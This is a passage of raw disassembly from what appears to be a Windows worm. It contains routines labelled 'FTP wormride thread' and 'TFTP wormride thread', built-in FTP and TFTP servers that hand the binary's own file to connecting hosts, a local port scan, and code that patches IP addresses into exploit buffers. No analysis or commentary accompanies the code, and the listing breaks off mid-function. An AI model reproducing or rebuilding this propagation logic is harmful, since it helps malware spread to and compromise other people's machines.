dword_412220 ; send cmp eax, ebx jz loc_40D598 mov edi, 2000h push esi mov esi, dword_412258 lea eax, [ebp+var_2010] push edi push eax push [ebp+arg_4] call esi ; recv cmp eax, ebx jnz short loc_40D512 loc_40D50B: ; CODE XREF: sub_40D42D+ECj ; sub_40D42D+102j ... xor esi, esi jmp loc_40D598 ; --------------------------------------------------------------------------- loc_40D512: ; CODE XREF: sub_40D42D+DCj cmp [ebp+var_200E], 0Ch jnz short loc_40D50B push 0 push 18h push offset dword_416BD4 push [ebp+arg_4] call dword_412220 ; send cmp eax, ebx jz short loc_40D50B push 0 lea eax, [ebp+var_2010] push edi push eax push [ebp+arg_4] call esi ; recv mov esi, eax cmp esi, ebx jz short loc_40D50B cmp [ebp+var_200E], 2 jnz short loc_40D50B push 10h push offset loc_416BF0 lea eax, [ebp+var_2010] push esi push eax call sub_40D3F4 add esp, 10h test eax, eax jz short loc_40D578 xor eax, eax cmp esi, 12Ch setnl al inc eax jmp short loc_40D596 ; --------------------------------------------------------------------------- loc_40D578: ; CODE XREF: sub_40D42D+13Bj push 10h push offset dword_416C04 lea eax, [ebp+var_2010] push esi push eax call sub_40D3F4 add esp, 10h neg eax sbb eax, eax and eax, 3 loc_40D596: ; CODE XREF: sub_40D42D+149j mov esi, eax loc_40D598: ; CODE XREF: sub_40D42D+A4j ; sub_40D42D+BBj ... push [ebp+arg_4] call dword_412240 ; closesocket mov eax, esi jmp loc_40D449 sub_40D42D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D5A8 proc near ; CODE XREF: sub_40BCBD+A9p ; sub_40C135+325p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_8] xor ebx, ebx cmp esi, ebx push edi jnz short loc_40D5DD xor esi, esi cmp [ebp+arg_4], ebx jbe short loc_40D639 loc_40D5BE: ; CODE XREF: sub_40D5A8+31j push 20h push ebx call sub_40B459 mov al, byte_416C20[eax+eax*4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [esi+ecx], al inc esi cmp esi, [ebp+arg_4] jb short loc_40D5BE jmp short loc_40D639 ; --------------------------------------------------------------------------- loc_40D5DD: ; CODE XREF: sub_40D5A8+Dj cmp esi, 7Fh jnz short loc_40D608 xor esi, esi cmp [ebp+arg_4], ebx jbe short loc_40D639 loc_40D5E9: ; CODE XREF: sub_40D5A8+5Cj push 5 push ebx call sub_40B459 mov al, byte_416C20[eax+eax*4] pop ecx pop ecx mov ecx, [ebp+arg_0] mov [esi+ecx], al inc esi cmp esi, [ebp+arg_4] jb short loc_40D5E9 jmp short loc_40D639 ; --------------------------------------------------------------------------- loc_40D608: ; CODE XREF: sub_40D5A8+38j xor edi, edi cmp [ebp+arg_4], ebx jbe short loc_40D639 loc_40D60F: ; CODE XREF: sub_40D5A8+8Fj push 20h push ebx call sub_40B459 movsx eax, al pop ecx lea eax, [eax+eax*4] pop ecx test dword_416C21[eax], esi jnz short loc_40D634 mov ecx, [ebp+arg_0] mov al, byte_416C20[eax] mov [edi+ecx], al inc edi loc_40D634: ; CODE XREF: sub_40D5A8+7Dj cmp edi, [ebp+arg_4] jb short loc_40D60F loc_40D639: ; CODE XREF: sub_40D5A8+14j ; sub_40D5A8+33j ... pop edi pop esi pop ebx pop ebp retn sub_40D5A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D63E proc near ; CODE XREF: sub_40D6E0+40Ap var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h push ebx push esi push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_403C04 mov ebx, eax add esp, 10h test ebx, ebx jz short loc_40D687 cmp ebx, 0FFFFFFFFh jz short loc_40D687 push offset aRb ; "rb" push offset dword_419ECC call sub_411506 ; fopen mov esi, eax pop ecx test esi, esi pop ecx jnz short loc_40D68D push ebx call sub_403D92 pop ecx loc_40D687: ; CODE XREF: sub_40D63E+24j ; sub_40D63E+29j xor eax, eax loc_40D689: ; CODE XREF: sub_40D63E+A0j pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D68D: ; CODE XREF: sub_40D63E+40j push edi loc_40D68E: ; CODE XREF: sub_40D63E+7Fj test byte ptr [esi+0Ch], 10h jnz short loc_40D6CA push esi push 200h lea eax, [ebp+var_200] push 1 push eax call sub_411510 ; fread mov edi, eax lea eax, [ebp+var_200] push edi push eax push ebx call sub_403D9D add esp, 1Ch cmp edi, eax jz short loc_40D68E push ebx call sub_403D92 pop ecx xor edi, edi jmp short loc_40D6D4 ; --------------------------------------------------------------------------- loc_40D6CA: ; CODE XREF: sub_40D63E+54j push ebx call sub_403D70 pop ecx push 1 pop edi loc_40D6D4: ; CODE XREF: sub_40D63E+8Aj push esi call sub_411500 ; fclose pop ecx mov eax, edi pop edi jmp short loc_40D689 sub_40D63E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D6E0 proc near ; DATA XREF: sub_40DD36+CBo var_530 = byte ptr -530h var_330 = byte ptr -330h var_32F = byte ptr -32Fh var_230 = byte ptr -230h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 530h push ebx push esi push edi mov esi, 200h push offset dword_4177D0 lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen mov ebx, [ebp+arg_0] push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D mov dl, byte_4191D0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_32F] mov [ebp+var_330], dl rep stosd stosw stosb xor eax, eax lea edi, [ebp+var_13] mov [ebp+var_14], dl push 0EA60h stosd stosb xor eax, eax push ebx mov [ebp+arg_0], eax mov [ebp+var_18], eax mov [ebp+var_C], eax call sub_403E1F add esp, 24h loc_40D75F: ; CODE XREF: sub_40D6E0+3C2j test eax, eax jz loc_40DB99 lea eax, [ebp+var_530] push esi push eax push ebx call sub_403DB2 add esp, 0Ch test eax, eax jz loc_40DB99 cmp eax, 0FFFFFFFFh jz loc_40DB99 lea eax, [ebp+var_C] mov edi, offset dword_4177CC push eax lea eax, [ebp+var_530] push edi push eax call sub_405E4F add esp, 0Ch mov [ebp+var_8], eax test eax, eax jz loc_40DA95 lea eax, [ebp+var_C] push eax push edi push 0 call sub_405E4F add esp, 0Ch mov [ebp+var_4], eax test eax, eax jnz short loc_40D7CA mov [ebp+var_4], offset byte_4191D0 loc_40D7CA: ; CODE XREF: sub_40D6E0+E1j lea eax, [ebp+var_C] push eax push edi push 0 call sub_405E4F push [ebp+var_8] call sub_40A64A add esp, 10h cmp eax, dword_4177C0 jnz short loc_40D7FA mov [ebp+arg_0], 1 push offset dword_4177B8 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D7FA: ; CODE XREF: sub_40D6E0+107j cmp eax, dword_4177AC jnz short loc_40D813 mov [ebp+var_18], 1 push offset dword_4177A4 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D813: ; CODE XREF: sub_40D6E0+120j cmp [ebp+arg_0], 0 jz loc_40DA95 cmp [ebp+var_18], 0 jz loc_40DA95 cmp eax, dword_417798 jnz short loc_40D839 push offset dword_417790 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D839: ; CODE XREF: sub_40D6E0+14Dj cmp eax, dword_417784 jnz short loc_40D84B push offset dword_41777C jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D84B: ; CODE XREF: sub_40D6E0+15Fj cmp eax, dword_417774 jnz short loc_40D85D push offset dword_417768 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D85D: ; CODE XREF: sub_40D6E0+171j cmp eax, dword_41775C jz loc_40D8F4 cmp eax, dword_417750 jnz short loc_40D87B push offset dword_417748 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D6E0+18Fj cmp eax, dword_41773C jnz short loc_40D8FE lea eax, [ebp+var_20] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_28] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_4] call sub_411522 ; sscanf movzx eax, [ebp+var_30] add esp, 20h push eax movzx eax, [ebp+var_24] push eax movzx eax, [ebp+var_1C] push eax movzx eax, [ebp+var_28] push eax push offset dword_413A58 lea eax, [ebp+var_330] push 100h push eax call sub_41152E ; _snprintf xor eax, eax add esp, 1Ch mov ah, [ebp+var_2C] mov al, [ebp+var_20] push eax push offset aU_0 ; "%u" lea eax, [ebp+var_14] push 6 push eax call sub_41152E ; _snprintf add esp, 10h loc_40D8F4: ; CODE XREF: sub_40D6E0+183j push offset dword_417720 jmp loc_40DA6B ; --------------------------------------------------------------------------- loc_40D8FE: ; CODE XREF: sub_40D6E0+1A1j cmp eax, dword_417714 jnz short loc_40D97E push offset aRb ; "rb" push offset dword_419ECC call sub_411506 ; fopen mov edi, eax pop ecx test edi, edi pop ecx jz loc_40DB99 push 2 push 0 push edi call sub_411516 ; fseek push edi call sub_4114F4 ; ftell push 0 push 0 push edi mov [ebp+var_8], eax call sub_411516 ; fseek push edi call sub_411500 ; fclose add esp, 20h lea eax, [ebp+var_230] push [ebp+var_8] push offset dword_417708 push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D add esp, 20h jmp loc_40DA95 ; --------------------------------------------------------------------------- loc_40D97E: ; CODE XREF: sub_40D6E0+224j cmp eax, dword_4176FC jnz loc_40DAA7 push offset a150 ; "150 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D push 2710h lea eax, [ebp+var_14] push 0 push eax lea eax, [ebp+var_330] push eax call sub_403C04 add esp, 2Ch mov [ebp+var_4], eax test eax, eax jz loc_40DB99 cmp eax, 0FFFFFFFFh jz loc_40DB99 push offset aRb ; "rb" push offset dword_419ECC call sub_411506 ; fopen mov edi, eax pop ecx test edi, edi pop ecx jz loc_40DB99 push 2 push 0 push edi call sub_411516 ; fseek push edi call sub_4114F4 ; ftell push 0 push 0 push edi mov [ebp+var_8], eax call sub_411516 ; fseek push edi call sub_411500 ; fclose add esp, 20h lea eax, [ebp+var_230] push offset dword_419ECC push [ebp+var_8] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push [ebp+var_4] call sub_403D9D push [ebp+var_4] call sub_403D70 add esp, 28h push offset dword_417678 loc_40DA6B: ; CODE XREF: sub_40D6E0+115j ; sub_40D6E0+12Ej ... lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D add esp, 1Ch loc_40DA95: ; CODE XREF: sub_40D6E0+C7j ; sub_40D6E0+137j ... push 0EA60h push ebx call sub_403E1F pop ecx pop ecx jmp loc_40D75F ; --------------------------------------------------------------------------- loc_40DAA7: ; CODE XREF: sub_40D6E0+2A4j cmp eax, dword_41766C jnz loc_40DB62 push offset a150 ; "150 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D lea eax, [ebp+var_14] push eax lea eax, [ebp+var_330] push eax call sub_40D63E add esp, 24h test eax, eax jz loc_40DB99 push offset dword_417678 lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D push 1 push offset dword_419EA8 call sub_407216 add esp, 24h lea ecx, [ebp+var_330] inc eax push ecx push eax push offset aFtp_0 ; "ftp" push offset unk_417640 push offset dword_418E50 call sub_409659 add esp, 14h push 3E8h call dword_4120A4 ; Sleep jmp short loc_40DB99 ; --------------------------------------------------------------------------- loc_40DB62: ; CODE XREF: sub_40D6E0+3CDj cmp eax, dword_417634 jnz short loc_40DB99 push offset a221 ; "221 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D add esp, 1Ch loc_40DB99: ; CODE XREF: sub_40D6E0+81j ; sub_40D6E0+9Aj ... push offset a231 ; "231 -\r\n" lea eax, [ebp+var_230] push esi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_230] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_230] push eax push ebx call sub_403D9D push ebx call sub_403D70 add esp, 20h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40D6E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DBD7 proc near ; CODE XREF: sub_40DD36+58p var_20C = dword ptr -20Ch var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push esi push edi mov edi, [ebp+arg_0] push 32h push edi call sub_403E1F pop ecx test eax, eax pop ecx jz loc_40DD30 mov esi, 200h lea eax, [ebp+var_200] push esi push eax push edi call sub_403DB2 add esp, 0Ch test eax, eax jz loc_40DD30 cmp eax, 0FFFFFFFFh jz loc_40DD30 lea eax, [ebp+var_200] push eax call sub_405AB9 lea eax, [ebp+var_200] mov [esp+20Ch+var_20C], offset dword_4177F8 push eax call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz loc_40DD30 lea eax, [ebp+var_200] push offset dword_4177EC push eax call sub_4114DC ; sprintf lea eax, [ebp+var_200] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_200] push eax push edi call sub_403D9D push 32h lea eax, [ebp+var_200] push esi push eax push edi call sub_403DF6 add esp, 28h test eax, eax jz loc_40DD30 cmp eax, 0FFFFFFFFh jz loc_40DD30 lea eax, [ebp+var_200] push eax call sub_405AB9 lea eax, [ebp+var_200] mov [esp+20Ch+var_20C], offset dword_4177E8 push eax call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz short loc_40DD30 call sub_40B480 push eax lea eax, [ebp+var_200] push offset dword_4177DC push eax call sub_4114DC ; sprintf lea eax, [ebp+var_200] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_200] push eax push edi call sub_403D9D push 32h lea eax, [ebp+var_200] push esi push eax push edi call sub_403DF6 add esp, 2Ch test eax, eax jz short loc_40DD30 cmp eax, 0FFFFFFFFh jz short loc_40DD30 lea eax, [ebp+var_200] push eax call sub_405AB9 lea eax, [ebp+var_200] mov [esp+20Ch+var_20C], offset dword_4177D8 push eax call sub_41177E ; strcmp neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40DD32 ; --------------------------------------------------------------------------- loc_40DD30: ; CODE XREF: sub_40DBD7+1Aj ; sub_40DBD7+38j ... xor eax, eax loc_40DD32: ; CODE XREF: sub_40DBD7+157j pop edi pop esi leave retn sub_40DBD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD36 proc near ; CODE XREF: .packed:0040DE44p var_1B0 = dword ptr -1B0h var_1AC = byte ptr -1ACh var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1B0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h xor ebx, ebx push 1 pop edi loc_40DD66: ; CODE XREF: sub_40DD36+83j lea eax, [ebp+var_8] push 0Ah push eax push edi call sub_41192A ; _itoa push 0FFFFFFFFh lea eax, [ebp+var_8] push 0 push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_403C04 mov esi, eax add esp, 1Ch test esi, esi jz short loc_40DDB2 push esi call sub_40DBD7 test eax, eax pop ecx jz short loc_40DDAB lea eax, [ebp+var_8] push 2 push eax call sub_403644 mov ebx, eax pop ecx test ebx, ebx pop ecx jz short loc_40DDBF loc_40DDAB: ; CODE XREF: sub_40DD36+60j push esi call sub_403D92 pop ecx loc_40DDB2: ; CODE XREF: sub_40DD36+55j inc edi cmp edi, 0FFFFh jb short loc_40DD66 test ebx, ebx jnz short loc_40DDCC loc_40DDBF: ; CODE XREF: sub_40DD36+73j push [ebp+var_1B0] call sub_406E6F jmp short loc_40DE36 ; --------------------------------------------------------------------------- loc_40DDCC: ; CODE XREF: sub_40DD36+87j mov eax, [ebp+var_1B0] push dword ptr [eax] lea eax, [ebp+var_1AC] push offset unk_4177FC push eax call sub_4096CB add esp, 0Ch loc_40DDE8: ; CODE XREF: sub_40DD36+ECj push 3E8h push ebx call sub_403767 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40DE18 cmp esi, 0FFFFFFFFh jz short loc_40DE18 push esi push offset sub_40D6E0 call sub_406C5D pop ecx test eax, eax pop ecx jnz short loc_40DE18 push esi call sub_403D92 pop ecx loc_40DE18: ; CODE XREF: sub_40DD36+C3j ; sub_40DD36+C8j ... mov eax, [ebp+var_1B0] cmp dword ptr [eax+4], 0 jz short loc_40DDE8 push ebx call sub_40392A push [ebp+var_1B0] call sub_406E6F pop ecx loc_40DE36: ; CODE XREF: sub_40DD36+94j pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40DD36 endp ; --------------------------------------------------------------------------- loc_40DE40: ; DATA XREF: sub_40DE4C+3Eo push dword ptr [esp+4] call sub_40DD36 retn 4 ; =============== S U B R O U T I N E ======================================= sub_40DE4C proc near ; CODE XREF: sub_407A76+485p ; sub_407A76:loc_407F1Bp arg_0 = dword ptr 4 push esi call sub_403338 test eax, eax jnz short loc_40DE98 push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40DE98 push edi mov edi, [esp+8+arg_0] lea eax, [esi+4] push edi push eax call sub_40457C xor eax, eax pop ecx cmp [edi+18Bh], al pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" setz al push eax push esi push offset loc_40DE40 call sub_406D58 add esp, 10h pop edi loc_40DE98: ; CODE XREF: sub_40DE4C+8j ; sub_40DE4C+19j pop esi retn sub_40DE4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE9A proc near ; DATA XREF: sub_40E243+35o var_D7C = dword ptr -0D7Ch var_D78 = dword ptr -0D78h var_578 = byte ptr -578h var_478 = dword ptr -478h var_474 = byte ptr -474h var_2D0 = byte ptr -2D0h var_2CF = byte ptr -2CFh var_2CE = byte ptr -2CEh var_2CD = byte ptr -2CDh var_2CC = byte ptr -2CCh var_CC = byte ptr -0CCh var_CB = byte ptr -0CBh var_CA = byte ptr -0CAh var_C9 = byte ptr -0C9h var_4C = byte ptr -4Ch var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0D7Ch push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_478] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h xor ebx, ebx push ebx push 2 pop esi push esi push esi call dword_41222C ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_40E22E lea eax, [ebp+var_578] push eax call sub_4091A7 push eax call sub_40348C push 10h lea eax, [ebp+var_3C] push ebx push eax call sub_4114E8 ; memset add esp, 14h mov [ebp+var_3C], si push 45h call dword_412248 ; htons mov [ebp+var_3A], ax lea eax, [ebp+var_578] push eax call dword_412254 ; inet_addr mov [ebp+var_38], eax lea eax, [ebp+var_10] push 4 push eax push 4 push 0FFFFh push edi mov [ebp+var_10], 1 call dword_412218 ; setsockopt lea eax, [ebp+var_3C] push 10h push eax push edi call dword_41221C ; bind cmp eax, 0FFFFFFFFh jz loc_40E22E push offset aRb ; "rb" push offset dword_419ECC call sub_411506 ; fopen pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jnz short loc_40DF71 push edi jmp loc_40E228 ; --------------------------------------------------------------------------- loc_40DF71: ; CODE XREF: sub_40DE9A+CFj mov eax, [ebp+var_478] push dword ptr [eax] lea eax, [ebp+var_474] push offset unk_4178A8 push eax call sub_4096CB push esi push ebx push [ebp+arg_0] call sub_411516 ; fseek push [ebp+arg_0] call sub_4114F4 ; ftell push ebx push ebx push [ebp+arg_0] mov [ebp+var_14], eax call sub_411516 ; fseek push 80h lea eax, [ebp+var_CC] push ebx push eax call sub_4114E8 ; memset mov esi, dword_412260 add esp, 34h loc_40DFC4: ; CODE XREF: sub_40DE9A+1A2j ; sub_40DE9A+1A7j ... push 1 mov ecx, [ebp+var_4] pop eax mov [ebp+var_28], ebx mov [ebp+var_2C], eax mov [ebp+var_D7C], eax lea eax, [ebp+var_2C] mov [ebp+var_D78], ecx push eax push ebx lea eax, [ebp+var_D7C] push ebx push eax push ebx call dword_412214 ; select test eax, eax jle loc_40E20D mov al, byte_4191D0 mov ecx, 80h mov [ebp+var_2D0], al xor eax, eax lea edi, [ebp+var_2CF] mov [ebp+var_8], 10h rep stosd stosw stosb lea eax, [ebp+var_8] push eax lea eax, [ebp+var_24] push eax push ebx lea eax, [ebp+var_CC] push 80h push eax push [ebp+var_4] call dword_412268 ; recvfrom cmp eax, ebx jz short loc_40DFC4 cmp eax, 0FFFFFFFFh jz short loc_40DFC4 cmp [ebp+var_CC], bl jnz loc_40E1F9 cmp [ebp+var_CB], 1 jnz loc_40E0F7 lea eax, [ebp+var_CA] push eax call sub_4114BE ; strlen mov edi, offset aOctet ; "octet" lea eax, [ebp+eax+var_C9] push edi mov [ebp+var_C], eax call sub_4114BE ; strlen push eax push [ebp+var_C] push edi call sub_411570 ; strncmp add esp, 14h test eax, eax jz short loc_40E0A2 push [ebp+var_8] lea eax, [ebp+var_24] push eax push ebx push 13h push offset dword_41788C jmp loc_40E208 ; --------------------------------------------------------------------------- loc_40E0A2: ; CODE XREF: sub_40DE9A+1F2j push ebx push ebx push [ebp+arg_0] call sub_411516 ; fseek push [ebp+arg_0] lea eax, [ebp+var_2CC] mov [ebp+var_2D0], bl mov [ebp+var_2CF], 3 push 200h push 1 push eax mov [ebp+var_2CE], bl mov [ebp+var_2CD], 1 call sub_411510 ; fread add esp, 1Ch lea ecx, [ebp+var_24] add eax, 4 push [ebp+var_8] push ecx push ebx push eax lea eax, [ebp+var_2D0] push eax jmp loc_40E208 ; --------------------------------------------------------------------------- loc_40E0F7: ; CODE XREF: sub_40DE9A+1BCj cmp [ebp+var_CB], 4 jnz loc_40E1F9 mov cl, [ebp+var_C9] mov al, [ebp+var_CA] cmp cl, 0FFh mov [ebp+var_2D0], bl mov [ebp+var_2CF], 3 jnz short loc_40E134 inc al xor cl, cl mov [ebp+var_2CE], al mov [ebp+var_2CD], bl jmp short loc_40E142 ; --------------------------------------------------------------------------- loc_40E134: ; CODE XREF: sub_40DE9A+286j inc cl mov [ebp+var_2CE], al mov [ebp+var_2CD], cl loc_40E142: ; CODE XREF: sub_40DE9A+298j movzx eax, al movzx ecx, cl shl eax, 8 push ebx lea eax, [eax+ecx-1] shl eax, 9 push eax mov [ebp+var_C], eax push [ebp+arg_0] call sub_411516 ; fseek push [ebp+arg_0] lea eax, [ebp+var_2CC] push 200h push 1 push eax call sub_411510 ; fread add esp, 1Ch mov edi, eax lea eax, [ebp+var_24] push [ebp+var_8] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_2D0] push eax push [ebp+var_4] call esi ; sendto cmp edi, ebx jnz short loc_40E20D mov eax, [ebp+var_C] cmp eax, [ebp+var_14] jb short loc_40E20D mov edi, [ebp+var_20] push edi push offset dword_419EB0 call sub_407227 pop ecx cmp eax, edi pop ecx jz short loc_40E20D push 1 push offset dword_419EB4 call sub_407216 pop ecx mov edi, eax pop ecx push 10h push [ebp+var_20] call dword_412230 ; inet_ntoa push eax lea eax, [ebp+var_4C] push eax call sub_4059C2 add esp, 0Ch lea eax, [ebp+var_4C] inc edi push eax push edi push offset aWormride ; "wormride" push offset unk_417850 push offset dword_418E50 call sub_409659 add esp, 14h jmp short loc_40E20D ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40DE9A+1AFj ; sub_40DE9A+264j push [ebp+var_8] lea eax, [ebp+var_24] push eax push ebx push 9 push offset dword_417844 loc_40E208: ; CODE XREF: sub_40DE9A+203j ; sub_40DE9A+258j push [ebp+var_4] call esi ; sendto loc_40E20D: ; CODE XREF: sub_40DE9A+158j ; sub_40DE9A+2FAj ... mov eax, [ebp+var_478] cmp [eax+4], ebx jz loc_40DFC4 push [ebp+arg_0] call sub_411500 ; fclose pop ecx push [ebp+var_4] loc_40E228: ; CODE XREF: sub_40DE9A+D2j call dword_412240 ; closesocket loc_40E22E: ; CODE XREF: sub_40DE9A+41j ; sub_40DE9A+B3j push [ebp+var_478] call sub_406E6F pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40DE9A endp ; =============== S U B R O U T I N E ======================================= sub_40E243 proc near ; CODE XREF: sub_407A76+49Bp ; sub_407A76+4B1p arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40E286 push edi mov edi, [esp+8+arg_0] lea eax, [esi+4] push edi push eax call sub_40457C xor eax, eax pop ecx cmp [edi+18Bh], al pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" setz al push eax push esi push offset sub_40DE9A call sub_406D58 add esp, 10h pop edi loc_40E286: ; CODE XREF: sub_40E243+10j pop esi retn sub_40E243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E288 proc near ; CODE XREF: sub_40E399+62p ; sub_40E399+84p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp xor edx, edx push esi cmp [ebp+arg_4], edx jbe short loc_40E2B7 loc_40E293: ; CODE XREF: sub_40E288+2Dj xor ecx, ecx cmp [ebp+arg_C], ecx jbe short loc_40E2B1 mov eax, [ebp+arg_0] mov al, [edx+eax] xor al, [ebp+arg_10] loc_40E2A3: ; CODE XREF: sub_40E288+27j mov esi, [ebp+arg_8] cmp al, [ecx+esi] jz short loc_40E2BC inc ecx cmp ecx, [ebp+arg_C] jb short loc_40E2A3 loc_40E2B1: ; CODE XREF: sub_40E288+10j inc edx cmp edx, [ebp+arg_4] jb short loc_40E293 loc_40E2B7: ; CODE XREF: sub_40E288+9j xor eax, eax loc_40E2B9: ; CODE XREF: sub_40E288+37j pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40E2BC: ; CODE XREF: sub_40E288+21j push 1 pop eax jmp short loc_40E2B9 sub_40E288 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E2C1 proc near ; CODE XREF: sub_40CAA1+36p ; sub_40CEBE+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp cmp [ebp+arg_8], 1 push ebx push esi push edi jnz short loc_40E2FA mov eax, 0B2h cmp [ebp+arg_4], eax jb short loc_40E337 mov esi, [ebp+arg_0] push eax push offset dword_417A84 push esi mov [ebp+arg_4], eax call sub_4114D0 ; memcpy add esp, 0Ch lea ebx, [esi+8Fh] lea edi, [esi+88h] jmp short loc_40E35C ; --------------------------------------------------------------------------- loc_40E2FA: ; CODE XREF: sub_40E2C1+Aj cmp [ebp+arg_8], 2 jnz short loc_40E32D mov eax, 0C6h cmp [ebp+arg_4], eax jb short loc_40E337 mov esi, [ebp+arg_0] push eax push offset dword_4179BC push esi mov [ebp+arg_4], eax call sub_4114D0 ; memcpy add esp, 0Ch lea edi, [esi+89h] add esi, 0C0h jmp short loc_40E371 ; --------------------------------------------------------------------------- loc_40E32D: ; CODE XREF: sub_40E2C1+3Dj mov eax, 0B2h cmp [ebp+arg_4], eax jnb short loc_40E33B loc_40E337: ; CODE XREF: sub_40E2C1+14j ; sub_40E2C1+47j xor eax, eax jmp short loc_40E394 ; --------------------------------------------------------------------------- loc_40E33B: ; CODE XREF: sub_40E2C1+74j mov esi, [ebp+arg_0] push eax push offset dword_417908 push esi mov [ebp+arg_4], eax call sub_4114D0 ; memcpy add esp, 0Ch lea ebx, [esi+86h] lea edi, [esi+8Dh] loc_40E35C: ; CODE XREF: sub_40E2C1+37j add esi, 0ACh test ebx, ebx jz short loc_40E371 push [ebp+arg_C] call dword_412254 ; inet_addr mov [ebx], eax loc_40E371: ; CODE XREF: sub_40E2C1+6Aj ; sub_40E2C1+A3j test edi, edi 